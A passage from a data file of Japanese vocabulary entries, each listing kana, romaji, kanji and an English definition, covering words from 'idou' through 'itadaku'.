to\"\n\t},\n\n\t{\n\t\t'kana':'いどう',\n\t\t'romaji':'idou',\n\t\t'kanji':'移動',\n\t\t'definition':\"removal;migration;movement\"\n\t},\n\n\t{\n\t\t'kana':'いどう',\n\t\t'romaji':'idou',\n\t\t'kanji':'異動',\n\t\t'definition':\"a change\"\n\t},\n\n\t{\n\t\t'kana':'いえ',\n\t\t'romaji':'ie',\n\t\t'kanji':'家',\n\t\t'definition':\"house\"\n\t},\n\n\t{\n\t\t'kana':'いえ',\n\t\t'romaji':'ie',\n\t\t'kanji':'家',\n\t\t'definition':\"house\"\n\t},\n\n\t{\n\t\t'kana':'いえ',\n\t\t'romaji':'ie',\n\t\t'kanji':'家',\n\t\t'definition':\"house\"\n\t},\n\n\t{\n\t\t'kana':'いえ',\n\t\t'romaji':'ie',\n\t\t'kanji':'家',\n\t\t'definition':\"house\"\n\t},\n\n\t{\n\t\t'kana':'いえで',\n\t\t'romaji':'iede',\n\t\t'kanji':'家出',\n\t\t'definition':\"running away from home;leaving home\"\n\t},\n\n\t{\n\t\t'kana':'いえぬし',\n\t\t'romaji':'ienushi',\n\t\t'kanji':'家主',\n\t\t'definition':\"landlord\"\n\t},\n\n\t{\n\t\t'kana':'イエス',\n\t\t'romaji':'iesu',\n\t\t'kanji':'',\n\t\t'definition':\"Jesus;yes\"\n\t},\n\n\t{\n\t\t'kana':'いふく',\n\t\t'romaji':'ifuku',\n\t\t'kanji':'衣服',\n\t\t'definition':\"clothes\"\n\t},\n\n\t{\n\t\t'kana':'いがい',\n\t\t'romaji':'igai',\n\t\t'kanji':'意外',\n\t\t'definition':\"unexpected;surprising\"\n\t},\n\n\t{\n\t\t'kana':'いがい',\n\t\t'romaji':'igai',\n\t\t'kanji':'以外',\n\t\t'definition':\"with the exception of;excepting\"\n\t},\n\n\t{\n\t\t'kana':'いがく',\n\t\t'romaji':'igaku',\n\t\t'kanji':'医学',\n\t\t'definition':\"medical science;medicine\"\n\t},\n\n\t{\n\t\t'kana':'いがむ',\n\t\t'romaji':'igamu',\n\t\t'kanji':'歪む',\n\t\t'definition':\"to warp;to swerve;to deflect;to be crooked;to be distorted;to be bent;to incline;to slant;to be perverted;to be gross-grained;to get bent;to be strained\"\n\t},\n\n\t{\n\t\t'kana':'いがむ',\n\t\t'romaji':'igamu',\n\t\t'kanji':'歪む',\n\t\t'definition':\"to warp;to swerve;to deflect;to be crooked;to be distorted;to be bent;to incline;to slant;to be perverted;to be gross-grained;to get bent;to be strained\"\n\t},\n\n\t{\n\t\t'kana':'いぎ',\n\t\t'romaji':'igi',\n\t\t'kanji':'意義',\n\t\t'definition':\"meaning;significance\"\n\t},\n\n\t{\n\t\t'kana':'いぎ',\n\t\t'romaji':'igi',\n\t\t'kanji':'異議',\n\t\t'definition':\"objection;dissent;protest\"\n\t},\n\n\t{\n\t\t'kana':'いご',\n\t\t'romaji':'igo',\n\t\t'kanji':'以後',\n\t\t'definition':\"after this;from now on;hereafter;thereafter\"\n\t},\n\n\t{\n\t\t'kana':'いはん',\n\t\t'romaji':'ihan',\n\t\t'kanji':'違反',\n\t\t'definition':\"violation (of law);transgression;infringement;breach\"\n\t},\n\n\t{\n\t\t'kana':'いい',\n\t\t'romaji':'ii',\n\t\t'kanji':'伊井',\n\t\t'definition':\"that one;Italy\"\n\t},\n\n\t{\n\t\t'kana':'いい',\n\t\t'romaji':'ii',\n\t\t'kanji':'良い',\n\t\t'definition':\"good\"\n\t},\n\n\t{\n\t\t'kana':'いいだす',\n\t\t'romaji':'iidasu',\n\t\t'kanji':'言い出す',\n\t\t'definition':\"to start talking;to speak;to tell;to propose;to suggest;to break the ice\"\n\t},\n\n\t{\n\t\t'kana':'いいえ',\n\t\t'romaji':'iie',\n\t\t'kanji':'否',\n\t\t'definition':\"no;nay;yes;well\"\n\t},\n\n\t{\n\t\t'kana':'いいえ',\n\t\t'romaji':'iie',\n\t\t'kanji':'否',\n\t\t'definition':\"no;nay;yes;well\"\n\t},\n\n\t{\n\t\t'kana':'いいかげん',\n\t\t'romaji':'iikagen',\n\t\t'kanji':'いい加減',\n\t\t'definition':\"moderate;right;random;not thorough;vague;irresponsible;halfhearted\"\n\t},\n\n\t{\n\t\t'kana':'いいん',\n\t\t'romaji':'iin',\n\t\t'kanji':'委員',\n\t\t'definition':\"committee member\"\n\t},\n\n\t{\n\t\t'kana':'いいん',\n\t\t'romaji':'iin',\n\t\t'kanji':'医院',\n\t\t'definition':\"doctor's office (surgery);clinic;dispensary\"\n\t},\n\n\t{\n\t\t'kana':'いいつける',\n\t\t'romaji':'iitsukeru',\n\t\t'kanji':'言い付ける',\n\t\t'definition':\"to tell;to tell on (someone);to order;to charge;to direct\"\n\t},\n\n\t{\n\t\t'kana':'いいわけ',\n\t\t'romaji':'iiwake',\n\t\t'kanji':'言い訳',\n\t\t'definition':\"excuse;explanation\"\n\t},\n\n\t{\n\t\t'kana':'いじ',\n\t\t'romaji':'iji',\n\t\t'kanji':'維持',\n\t\t'definition':\"maintenance;preservation\"\n\t},\n\n\t{\n\t\t'kana':'いじ',\n\t\t'romaji':'iji',\n\t\t'kanji':'意地',\n\t\t'definition':\"disposition;spirit;willpower;obstinacy;backbone;appetite\"\n\t},\n\n\t{\n\t\t'kana':'いじめる',\n\t\t'romaji':'ijimeru',\n\t\t'kanji':'苛める',\n\t\t'definition':\"to tease;to torment;to persecute;to chastise\"\n\t},\n\n\t{\n\t\t'kana':'いじる',\n\t\t'romaji':'ijiru',\n\t\t'kanji':'弄る',\n\t\t'definition':\"to touch;to tamper with\"\n\t},\n\n\t{\n\t\t'kana':'いじわる',\n\t\t'romaji':'ijiwaru',\n\t\t'kanji':'意地悪',\n\t\t'definition':\"malicious;ill-tempered;unkind\"\n\t},\n\n\t{\n\t\t'kana':'いじょう',\n\t\t'romaji':'ijyou',\n\t\t'kanji':'異常',\n\t\t'definition':\"strangeness;abnormality;disorder\"\n\t},\n\n\t{\n\t\t'kana':'いじょう',\n\t\t'romaji':'ijyou',\n\t\t'kanji':'以上',\n\t\t'definition':\"more than;exceeding;greater than;this is all;over;above;and up;beyond;the above-mentioned;since;as long as;the end\"\n\t},\n\n\t{\n\t\t'kana':'いじゅう',\n\t\t'romaji':'ijyuu',\n\t\t'kanji':'移住',\n\t\t'definition':\"migration;immigration\"\n\t},\n\n\t{\n\t\t'kana':'いっか',\n\t\t'romaji':'ika',\n\t\t'kanji':'一家',\n\t\t'definition':\"a house;a home;a family;a household;one's family;one's folks;a style\"\n\t},\n\n\t{\n\t\t'kana':'いか',\n\t\t'romaji':'ika',\n\t\t'kanji':'以下',\n\t\t'definition':\"less than;up to;below;under;and downward;not exceeding;the following;the rest\"\n\t},\n\n\t{\n\t\t'kana':'いかが',\n\t\t'romaji':'ikaga',\n\t\t'kanji':'如何',\n\t\t'definition':\"how;in what way\"\n\t},\n\n\t{\n\t\t'kana':'いかに',\n\t\t'romaji':'ikani',\n\t\t'kanji':'如何に',\n\t\t'definition':\"how?;in what way?;how much?;however;whatever\"\n\t},\n\n\t{\n\t\t'kana':'いかにも',\n\t\t'romaji':'ikanimo',\n\t\t'kanji':'如何にも',\n\t\t'definition':\"indeed;really;phrase meaning agreement\"\n\t},\n\n\t{\n\t\t'kana':'いかり',\n\t\t'romaji':'ikari',\n\t\t'kanji':'怒り',\n\t\t'definition':\"anger;hatred\"\n\t},\n\n\t{\n\t\t'kana':'いかる',\n\t\t'romaji':'ikaru',\n\t\t'kanji':'怒る',\n\t\t'definition':\"to get angry;to be angry\"\n\t},\n\n\t{\n\t\t'kana':'いかす',\n\t\t'romaji':'ikasu',\n\t\t'kanji':'生かす',\n\t\t'definition':\"to revive;to resuscitate;to make use of\"\n\t},\n\n\t{\n\t\t'kana':'いかずち',\n\t\t'romaji':'ikazuchi',\n\t\t'kanji':'雷',\n\t\t'definition':\"thunder\"\n\t},\n\n\t{\n\t\t'kana':'いけ',\n\t\t'romaji':'ike',\n\t\t'kanji':'池',\n\t\t'definition':\"pond\"\n\t},\n\n\t{\n\t\t'kana':'いけばな',\n\t\t'romaji':'ikebana',\n\t\t'kanji':'生け花',\n\t\t'definition':\"1. flower arrangement\"\n\t},\n\n\t{\n\t\t'kana':'いけん',\n\t\t'romaji':'iken',\n\t\t'kanji':'意見',\n\t\t'definition':\"opinion;view\"\n\t},\n\n\t{\n\t\t'kana':'いけん',\n\t\t'romaji':'iken',\n\t\t'kanji':'異見',\n\t\t'definition':\"different opinion;objection\"\n\t},\n\n\t{\n\t\t'kana':'いけない',\n\t\t'romaji':'ikenai',\n\t\t'kanji':'',\n\t\t'definition':\"must not do;bad;wrong;not good\"\n\t},\n\n\t{\n\t\t'kana':'いける',\n\t\t'romaji':'ikeru',\n\t\t'kanji':'活ける',\n\t\t'definition':\"to arrange (flowers)\"\n\t},\n\n\t{\n\t\t'kana':'いっき',\n\t\t'romaji':'iki',\n\t\t'kanji':'一気',\n\t\t'definition':\"drink!(said repeatedly as a party cheer)\"\n\t},\n\n\t{\n\t\t'kana':'いき',\n\t\t'romaji':'iki',\n\t\t'kanji':'行き',\n\t\t'definition':\"going\"\n\t},\n\n\t{\n\t\t'kana':'いき',\n\t\t'romaji':'iki',\n\t\t'kanji':'息',\n\t\t'definition':\"breath;tone\"\n\t},\n\n\t{\n\t\t'kana':'いき',\n\t\t'romaji':'iki',\n\t\t'kanji':'粋',\n\t\t'definition':\"chic;style;purity;essence\"\n\t},\n\n\t{\n\t\t'kana':'いき',\n\t\t'romaji':'iki',\n\t\t'kanji':'粋',\n\t\t'definition':\"chic;style;purity;essence\"\n\t},\n\n\t{\n\t\t'kana':'いきちがい',\n\t\t'romaji':'ikichigai',\n\t\t'kanji':'行き違い',\n\t\t'definition':\"misunderstanding;estrangement;disagreement;crossing without meeting;going astray\"\n\t},\n\n\t{\n\t\t'kana':'いきがい',\n\t\t'romaji':'ikigai',\n\t\t'kanji':'域外',\n\t\t'definition':\"outside the area\"\n\t},\n\n\t{\n\t\t'kana':'いきごむ',\n\t\t'romaji':'ikigomu',\n\t\t'kanji':'意気込む',\n\t\t'definition':\"to be enthusiastic about\"\n\t},\n\n\t{\n\t\t'kana':'いきいき',\n\t\t'romaji':'ikiiki',\n\t\t'kanji':'生き生き',\n\t\t'definition':\"vividly;lively\"\n\t},\n\n\t{\n\t\t'kana':'いきもの',\n\t\t'romaji':'ikimono',\n\t\t'kanji':'生き物',\n\t\t'definition':\"living thing;animal\"\n\t},\n\n\t{\n\t\t'kana':'いきなり',\n\t\t'romaji':'ikinari',\n\t\t'kanji':'行き成り',\n\t\t'definition':\"suddenly\"\n\t},\n\n\t{\n\t\t'kana':'いきおい',\n\t\t'romaji':'ikioi',\n\t\t'kanji':'勢い',\n\t\t'definition':\"force;vigor;energy;spirit;life;authority;influence;power;might;impetus;course (of events);tendency;necessarily\"\n\t},\n\n\t{\n\t\t'kana':'いきる',\n\t\t'romaji':'ikiru',\n\t\t'kanji':'生きる',\n\t\t'definition':\"to live;to exist\"\n\t},\n\n\t{\n\t\t'kana':'いきさつ',\n\t\t'romaji':'ikisatsu',\n\t\t'kanji':'経緯',\n\t\t'definition':\"1. details;whole story;sequence of events;particulars;how it started;how things got this way; 2. complications;position\"\n\t},\n\n\t{\n\t\t'kana':'いっかつ',\n\t\t'romaji':'ikkatsu',\n\t\t'kanji':'一括',\n\t\t'definition':\"all together;batch;one lump;one bundle;summing up\"\n\t},\n\n\t{\n\t\t'kana':'イコール',\n\t\t'romaji':'iko-ru',\n\t\t'kanji':'',\n\t\t'definition':\"equal\"\n\t},\n\n\t{\n\t\t'kana':'いこう',\n\t\t'romaji':'ikou',\n\t\t'kanji':'以降',\n\t\t'definition':\"on and after;hereafter;thereafter\"\n\t},\n\n\t{\n\t\t'kana':'いこう',\n\t\t'romaji':'ikou',\n\t\t'kanji':'移行',\n\t\t'definition':\"switching over to\"\n\t},\n\n\t{\n\t\t'kana':'いこう',\n\t\t'romaji':'ikou',\n\t\t'kanji':'意向',\n\t\t'definition':\"intention;idea;inclination\"\n\t},\n\n\t{\n\t\t'kana':'いく',\n\t\t'romaji':'iku',\n\t\t'kanji':'行く',\n\t\t'definition':\"to go\"\n\t},\n\n\t{\n\t\t'kana':'いく',\n\t\t'romaji':'iku',\n\t\t'kanji':'',\n\t\t'definition':\"to come;to orgasm\"\n\t},\n\n\t{\n\t\t'kana':'いくぶん',\n\t\t'romaji':'ikubun',\n\t\t'kanji':'幾分',\n\t\t'definition':\"somewhat\"\n\t},\n\n\t{\n\t\t'kana':'いくじ',\n\t\t'romaji':'ikuji',\n\t\t'kanji':'育児',\n\t\t'definition':\"childcare;nursing;upbringing\"\n\t},\n\n\t{\n\t\t'kana':'いくら',\n\t\t'romaji':'ikura',\n\t\t'kanji':'幾ら',\n\t\t'definition':\"how much?;how many?\"\n\t},\n\n\t{\n\t\t'kana':'いくさ',\n\t\t'romaji':'ikusa',\n\t\t'kanji':'戦',\n\t\t'definition':\"war;battle;campaign;fight\"\n\t},\n\n\t{\n\t\t'kana':'いくさ',\n\t\t'romaji':'ikusa',\n\t\t'kanji':'軍',\n\t\t'definition':\"war;battle;campaign;fight\"\n\t},\n\n\t{\n\t\t'kana':'いくせい',\n\t\t'romaji':'ikusei',\n\t\t'kanji':'育成',\n\t\t'definition':\"rearing;training;nurture;cultivation;promotion\"\n\t},\n\n\t{\n\t\t'kana':'いくた',\n\t\t'romaji':'ikuta',\n\t\t'kanji':'幾多',\n\t\t'definition':\"many;numerous\"\n\t},\n\n\t{\n\t\t'kana':'いくつ',\n\t\t'romaji':'ikutsu',\n\t\t'kanji':'幾つ',\n\t\t'definition':\"how many?;how old?\"\n\t},\n\n\t{\n\t\t'kana':'いっきょに',\n\t\t'romaji':'ikyoni',\n\t\t'kanji':'一挙に',\n\t\t'definition':\"at a stroke;with a single swoop\"\n\t},\n\n\t{\n\t\t'kana':'いま',\n\t\t'romaji':'ima',\n\t\t'kanji':'今',\n\t\t'definition':\"now;the present time;just now;soon;immediately;(one) more\"\n\t},\n\n\t{\n\t\t'kana':'いま',\n\t\t'romaji':'ima',\n\t\t'kanji':'居間',\n\t\t'definition':\"living room (western style)\"\n\t},\n\n\t{\n\t\t'kana':'いま',\n\t\t'romaji':'ima',\n\t\t'kanji':'今',\n\t\t'definition':\"now;the present time;just now;soon;immediately;(one) more\"\n\t},\n\n\t{\n\t\t'kana':'いまだ',\n\t\t'romaji':'imada',\n\t\t'kanji':'未だ',\n\t\t'definition':\"as yet;hitherto;not yet (neg)\"\n\t},\n\n\t{\n\t\t'kana':'いまに',\n\t\t'romaji':'imani',\n\t\t'kanji':'今に',\n\t\t'definition':\"before long;even now\"\n\t},\n\n\t{\n\t\t'kana':'いまにも',\n\t\t'romaji':'imanimo',\n\t\t'kanji':'今にも',\n\t\t'definition':\"at any time;soon\"\n\t},\n\n\t{\n\t\t'kana':'いまさら',\n\t\t'romaji':'imasara',\n\t\t'kanji':'今更',\n\t\t'definition':\"now;at this late hour\"\n\t},\n\n\t{\n\t\t'kana':'イメージ',\n\t\t'romaji':'ime-zi',\n\t\t'kanji':'',\n\t\t'definition':\"one's image\"\n\t},\n\n\t{\n\t\t'kana':'いみ',\n\t\t'romaji':'imi',\n\t\t'kanji':'意味',\n\t\t'definition':\"meaning;significance\"\n\t},\n\n\t{\n\t\t'kana':'いみん',\n\t\t'romaji':'imin',\n\t\t'kanji':'移民',\n\t\t'definition':\"emigration;immigration;emigrant;immigrant\"\n\t},\n\n\t{\n\t\t'kana':'いもうと',\n\t\t'romaji':'imouto',\n\t\t'kanji':'妹',\n\t\t'definition':\"younger sister\"\n\t},\n\n\t{\n\t\t'kana':'いん',\n\t\t'romaji':'in',\n\t\t'kanji':'員',\n\t\t'definition':\"member\"\n\t},\n\n\t{\n\t\t'kana':'いん',\n\t\t'romaji':'in',\n\t\t'kanji':'印',\n\t\t'definition':\"seal;stamp;mark;print\"\n\t},\n\n\t{\n\t\t'kana':'いなびかり',\n\t\t'romaji':'inabikari',\n\t\t'kanji':'稲光',\n\t\t'definition':\"(flash of) lightning\"\n\t},\n\n\t{\n\t\t'kana':'いない',\n\t\t'romaji':'inai',\n\t\t'kanji':'以内',\n\t\t'definition':\"within;inside of;less than\"\n\t},\n\n\t{\n\t\t'kana':'いなか',\n\t\t'romaji':'inaka',\n\t\t'kanji':'田舎',\n\t\t'definition':\"rural;not particularly urban;countryside;suburb\"\n\t},\n\n\t{\n\t\t'kana':'いね',\n\t\t'romaji':'ine',\n\t\t'kanji':'稲',\n\t\t'definition':\"rice-plant\"\n\t},\n\n\t{\n\t\t'kana':'いねむり',\n\t\t'romaji':'inemuri',\n\t\t'kanji':'居眠り',\n\t\t'definition':\"dozing;nodding off\"\n\t},\n\n\t{\n\t\t'kana':'インフォメーション',\n\t\t'romaji':'infwome-syon',\n\t\t'kanji':'',\n\t\t'definition':\"information\"\n\t},\n\n\t{\n\t\t'kana':'インフレ',\n\t\t'romaji':'inhure',\n\t\t'kanji':'',\n\t\t'definition':\"inflation\"\n\t},\n\n\t{\n\t\t'kana':'いにしえ',\n\t\t'romaji':'inishie',\n\t\t'kanji':'古',\n\t\t'definition':\"antiquity;ancient times\"\n\t},\n\n\t{\n\t\t'kana':'いんかん',\n\t\t'romaji':'inkan',\n\t\t'kanji':'印鑑',\n\t\t'definition':\"stamp;seal\"\n\t},\n\n\t{\n\t\t'kana':'いんき',\n\t\t'romaji':'inki',\n\t\t'kanji':'陰気',\n\t\t'definition':\"gloom;melancholy\"\n\t},\n\n\t{\n\t\t'kana':'インク',\n\t\t'romaji':'inku',\n\t\t'kanji':'',\n\t\t'definition':\"ink\"\n\t},\n\n\t{\n\t\t'kana':'いんきょ',\n\t\t'romaji':'inkyo',\n\t\t'kanji':'隠居',\n\t\t'definition':\"retirement;retired person\"\n\t},\n\n\t{\n\t\t'kana':'いのち',\n\t\t'romaji':'inochi',\n\t\t'kanji':'命',\n\t\t'definition':\"(mortal) life\"\n\t},\n\n\t{\n\t\t'kana':'いのり',\n\t\t'romaji':'inori',\n\t\t'kanji':'祈り',\n\t\t'definition':\"prayer;supplication\"\n\t},\n\n\t{\n\t\t'kana':'いのる',\n\t\t'romaji':'inoru',\n\t\t'kanji':'祈る',\n\t\t'definition':\"to pray;to wish\"\n\t},\n\n\t{\n\t\t'kana':'いんりょく',\n\t\t'romaji':'inryoku',\n\t\t'kanji':'引力',\n\t\t'definition':\"gravity\"\n\t},\n\n\t{\n\t\t'kana':'いんさつ',\n\t\t'romaji':'insatsu',\n\t\t'kanji':'印刷',\n\t\t'definition':\"printing\"\n\t},\n\n\t{\n\t\t'kana':'いんしょう',\n\t\t'romaji':'inshou',\n\t\t'kanji':'印象',\n\t\t'definition':\"impression\"\n\t},\n\n\t{\n\t\t'kana':'インタビュー',\n\t\t'romaji':'intabyu-',\n\t\t'kanji':'',\n\t\t'definition':\"interview\"\n\t},\n\n\t{\n\t\t'kana':'インターフォン',\n\t\t'romaji':'inta-fwon',\n\t\t'kanji':'',\n\t\t'definition':\"intercom\"\n\t},\n\n\t{\n\t\t'kana':'いんたい',\n\t\t'romaji':'intai',\n\t\t'kanji':'引退',\n\t\t'definition':\"retire\"\n\t},\n\n\t{\n\t\t'kana':'インターナショナル',\n\t\t'romaji':'inta-nasyonaru',\n\t\t'kanji':'',\n\t\t'definition':\"international\"\n\t},\n\n\t{\n\t\t'kana':'インターチェンジ',\n\t\t'romaji':'inta-tyenzi',\n\t\t'kanji':'',\n\t\t'definition':\"interchange\"\n\t},\n\n\t{\n\t\t'kana':'インテリ',\n\t\t'romaji':'interi',\n\t\t'kanji':'',\n\t\t'definition':\"egghead;intelligentsia\"\n\t},\n\n\t{\n\t\t'kana':'いぬ',\n\t\t'romaji':'inu',\n\t\t'kanji':'犬',\n\t\t'definition':\"dog\"\n\t},\n\n\t{\n\t\t'kana':'いんよう',\n\t\t'romaji':'inyou',\n\t\t'kanji':'引用',\n\t\t'definition':\"quotation;citation\"\n\t},\n\n\t{\n\t\t'kana':'いっぱい',\n\t\t'romaji':'ippai',\n\t\t'kanji':'一敗',\n\t\t'definition':\"one defeat\"\n\t},\n\n\t{\n\t\t'kana':'いっぱん',\n\t\t'romaji':'ippan',\n\t\t'kanji':'一般',\n\t\t'definition':\"general;liberal;universal;ordinary;average\"\n\t},\n\n\t{\n\t\t'kana':'いっぺん',\n\t\t'romaji':'ippen',\n\t\t'kanji':'一変',\n\t\t'definition':\"complete change;about-face\"\n\t},\n\n\t{\n\t\t'kana':'いっぽう',\n\t\t'romaji':'ippou',\n\t\t'kanji':'一方',\n\t\t'definition':\"on the other hand;one side;one way;a quarter;one direction;one party;the other party;meanwhile;only;simple;in turn\"\n\t},\n\n\t{\n\t\t'kana':'いらい',\n\t\t'romaji':'irai',\n\t\t'kanji':'依頼',\n\t\t'definition':\"request;commission;dispatch;dependence;trust\"\n\t},\n\n\t{\n\t\t'kana':'いらい',\n\t\t'romaji':'irai',\n\t\t'kanji':'以来',\n\t\t'definition':\"since;henceforth\"\n\t},\n\n\t{\n\t\t'kana':'いらいら',\n\t\t'romaji':'iraira',\n\t\t'kanji':'苛々',\n\t\t'definition':\"getting nervous;irritation\"\n\t},\n\n\t{\n\t\t'kana':'いらっしゃる',\n\t\t'romaji':'irasharu',\n\t\t'kanji':'',\n\t\t'definition':\"to be;to come;to go\"\n\t},\n\n\t{\n\t\t'kana':'いれもの',\n\t\t'romaji':'iremono',\n\t\t'kanji':'入れ物',\n\t\t'definition':\"container;case;receptacle\"\n\t},\n\n\t{\n\t\t'kana':'いれる',\n\t\t'romaji':'ireru',\n\t\t'kanji':'入れる',\n\t\t'definition':\"to put in;to take in;to bring in;to let in;to admit;to introduce;to commit (to prison);to usher in;to insert;to set (jewels);to employ;to listen to;to tolerate;to comprehend;to include;to pay (interest);to cast (votes)\"\n\t},\n\n\t{\n\t\t'kana':'いりくち',\n\t\t'romaji':'irikuchi',\n\t\t'kanji':'入口',\n\t\t'definition':\"entrance;gate;approach;mouth\"\n\t},\n\n\t{\n\t\t'kana':'いろ',\n\t\t'romaji':'iro',\n\t\t'kanji':'色',\n\t\t'definition':\"colour\"\n\t},\n\n\t{\n\t\t'kana':'いろ',\n\t\t'romaji':'iro',\n\t\t'kanji':'色',\n\t\t'definition':\"colour\"\n\t},\n\n\t{\n\t\t'kana':'いろいろ',\n\t\t'romaji':'iroiro',\n\t\t'kanji':'色々',\n\t\t'definition':\"various\"\n\t},\n\n\t{\n\t\t'kana':'いろん',\n\t\t'romaji':'iron',\n\t\t'kanji':'異論',\n\t\t'definition':\"different opinion;objection\"\n\t},\n\n\t{\n\t\t'kana':'いる',\n\t\t'romaji':'iru',\n\t\t'kanji':'居る',\n\t\t'definition':\"to be (animate);to exist\"\n\t},\n\n\t{\n\t\t'kana':'いる',\n\t\t'romaji':'iru',\n\t\t'kanji':'煎る',\n\t\t'definition':\"to parch;to fry;to fire;to broil;to roast;to boil down (in oil)\"\n\t},\n\n\t{\n\t\t'kana':'いる',\n\t\t'romaji':'iru',\n\t\t'kanji':'入る',\n\t\t'definition':\"to get in;to go in;to come in;to flow into;to set;to set in\"\n\t},\n\n\t{\n\t\t'kana':'いる',\n\t\t'romaji':'iru',\n\t\t'kanji':'居る',\n\t\t'definition':\"to be (animate);to exist\"\n\t},\n\n\t{\n\t\t'kana':'いる',\n\t\t'romaji':'iru',\n\t\t'kanji':'要る',\n\t\t'definition':\"to need\"\n\t},\n\n\t{\n\t\t'kana':'いる',\n\t\t'romaji':'iru',\n\t\t'kanji':'居る',\n\t\t'definition':\"to be (animate);to exist\"\n\t},\n\n\t{\n\t\t'kana':'いるい',\n\t\t'romaji':'irui',\n\t\t'kanji':'衣類',\n\t\t'definition':\"clothes;clothing;garments\"\n\t},\n\n\t{\n\t\t'kana':'いりょく',\n\t\t'romaji':'iryoku',\n\t\t'kanji':'威力',\n\t\t'definition':\"power;might;authority;influence\"\n\t},\n\n\t{\n\t\t'kana':'いりょう',\n\t\t'romaji':'iryou',\n\t\t'kanji':'医療',\n\t\t'definition':\"medical care;medical treatment\"\n\t},\n\n\t{\n\t\t'kana':'いりょう',\n\t\t'romaji':'iryou',\n\t\t'kanji':'衣料',\n\t\t'definition':\"clothing\"\n\t},\n\n\t{\n\t\t'kana':'いさましい',\n\t\t'romaji':'isamashii',\n\t\t'kanji':'勇ましい',\n\t\t'definition':\"brave;valiant;gallant;courageous\"\n\t},\n\n\t{\n\t\t'kana':'いせい',\n\t\t'romaji':'isei',\n\t\t'kanji':'異性',\n\t\t'definition':\"the opposite sex\"\n\t},\n\n\t{\n\t\t'kana':'いせき',\n\t\t'romaji':'iseki',\n\t\t'kanji':'遺跡',\n\t\t'definition':\"historic ruins (remains relics)\"\n\t},\n\n\t{\n\t\t'kana':'いしゃ',\n\t\t'romaji':'isha',\n\t\t'kanji':'医者',\n\t\t'definition':\"doctor (medical)\"\n\t},\n\n\t{\n\t\t'kana':'いし',\n\t\t'romaji':'ishi',\n\t\t'kanji':'意志',\n\t\t'definition':\"will;volition\"\n\t},\n\n\t{\n\t\t'kana':'いし',\n\t\t'romaji':'ishi',\n\t\t'kanji':'意思',\n\t\t'definition':\"intention;purpose\"\n\t},\n\n\t{\n\t\t'kana':'いし',\n\t\t'romaji':'ishi',\n\t\t'kanji':'医師',\n\t\t'definition':\"doctor;physician\"\n\t},\n\n\t{\n\t\t'kana':'いし',\n\t\t'romaji':'ishi',\n\t\t'kanji':'石',\n\t\t'definition':\"stone\"\n\t},\n\n\t{\n\t\t'kana':'いしぶみ',\n\t\t'romaji':'ishibumi',\n\t\t'kanji':'碑',\n\t\t'definition':\"stone monument bearing an inscription\"\n\t},\n\n\t{\n\t\t'kana':'いしき',\n\t\t'romaji':'ishiki',\n\t\t'kanji':'意識',\n\t\t'definition':\"consciousness;senses\"\n\t},\n\n\t{\n\t\t'kana':'いっしょ',\n\t\t'romaji':'isho',\n\t\t'kanji':'一緒',\n\t\t'definition':\"together;meeting;company\"\n\t},\n\n\t{\n\t\t'kana':'いしょくじゅう',\n\t\t'romaji':'ishokujyuu',\n\t\t'kanji':'衣食住',\n\t\t'definition':\"necessities of life (food clothing etc.)\"\n\t},\n\n\t{\n\t\t'kana':'いっしょう',\n\t\t'romaji':'ishou',\n\t\t'kanji':'一生',\n\t\t'definition':\"whole life;a lifetime;all through life;one existence;a generation;an age;the whole world;the era\"\n\t},\n\n\t{\n\t\t'kana':'いしょう',\n\t\t'romaji':'ishou',\n\t\t'kanji':'衣装',\n\t\t'definition':\"clothing;costume;outfit;garment;dress\"\n\t},\n\n\t{\n\t\t'kana':'いっしょうけんめい',\n\t\t'romaji':'ishouukenmei',\n\t\t'kanji':'一生懸命',\n\t\t'definition':\"very hard;with utmost effort;with all one's might\"\n\t},\n\n\t{\n\t\t'kana':'いっしゅ',\n\t\t'romaji':'ishu',\n\t\t'kanji':'一種',\n\t\t'definition':\"a species;a kind;a variety\"\n\t},\n\n\t{\n\t\t'kana':'いっしゅん',\n\t\t'romaji':'ishun',\n\t\t'kanji':'一瞬',\n\t\t'definition':\"a moment;an instant\"\n\t},\n\n\t{\n\t\t'kana':'いっそ',\n\t\t'romaji':'iso',\n\t\t'kanji':'',\n\t\t'definition':\"rather;sooner;might as well\"\n\t},\n\n\t{\n\t\t'kana':'いそがしい',\n\t\t'romaji':'isogashii',\n\t\t'kanji':'忙しい',\n\t\t'definition':\"busy;irritated\"\n\t},\n\n\t{\n\t\t'kana':'いそぐ',\n\t\t'romaji':'isogu',\n\t\t'kanji':'急ぐ',\n\t\t'definition':\"to hurry;to rush\"\n\t},\n\n\t{\n\t\t'kana':'いそん',\n\t\t'romaji':'ison',\n\t\t'kanji':'依存',\n\t\t'definition':\"dependence;dependent;reliance\"\n\t},\n\n\t{\n\t\t'kana':'いっさい',\n\t\t'romaji':'issai',\n\t\t'kanji':'一切',\n\t\t'definition':\"all;everything;without exception;the whole;entirely;absolutely\"\n\t},\n\n\t{\n\t\t'kana':'いっさくじつ',\n\t\t'romaji':'issakujitsu',\n\t\t'kanji':'一昨日',\n\t\t'definition':\"day before yesterday\"\n\t},\n\n\t{\n\t\t'kana':'いっさくねん',\n\t\t'romaji':'issakunen',\n\t\t'kanji':'一昨年',\n\t\t'definition':\"year before last\"\n\t},\n\n\t{\n\t\t'kana':'いっせい',\n\t\t'romaji':'issei',\n\t\t'kanji':'一斉',\n\t\t'definition':\"simultaneous;all at once\"\n\t},\n\n\t{\n\t\t'kana':'いっしん',\n\t\t'romaji':'isshin',\n\t\t'kanji':'一心',\n\t\t'definition':\"one mind;wholeheartedness;the whole heart\"\n\t},\n\n\t{\n\t\t'kana':'いっそう',\n\t\t'romaji':'issou',\n\t\t'kanji':'一層',\n\t\t'definition':\"much more;still more;all the more\"\n\t},\n\n\t{\n\t\t'kana':'いす',\n\t\t'romaji':'isu',\n\t\t'kanji':'椅子',\n\t\t'definition':\"chair\"\n\t},\n\n\t{\n\t\t'kana':'いた',\n\t\t'romaji':'ita',\n\t\t'kanji':'板',\n\t\t'definition':\"board;plank\"\n\t},\n\n\t{\n\t\t'kana':'いただき',\n\t\t'romaji':'itadaki',\n\t\t'kanji':'頂',\n\t\t'definition':\"(top of) head;summit;spire\"\n\t},\n\n\t{\n\t\t'kana':'いただきます',\n\t\t'romaji':'itadakimasu',\n\t\t'kanji':'戴きます',\n\t\t'definition':\"expression of gratitude before meals\"\n\t},\n\n\t{\n\t\t'kana':'いただく',\n\t\t'romaji':'itadaku',\n\t\t'kanji':'頂く',\n\t\t'definition':\"to receive;to take food or drink (hum);to be crowned with;to wear;to live under (a ruler);to install (a president);to accept;to buy;to 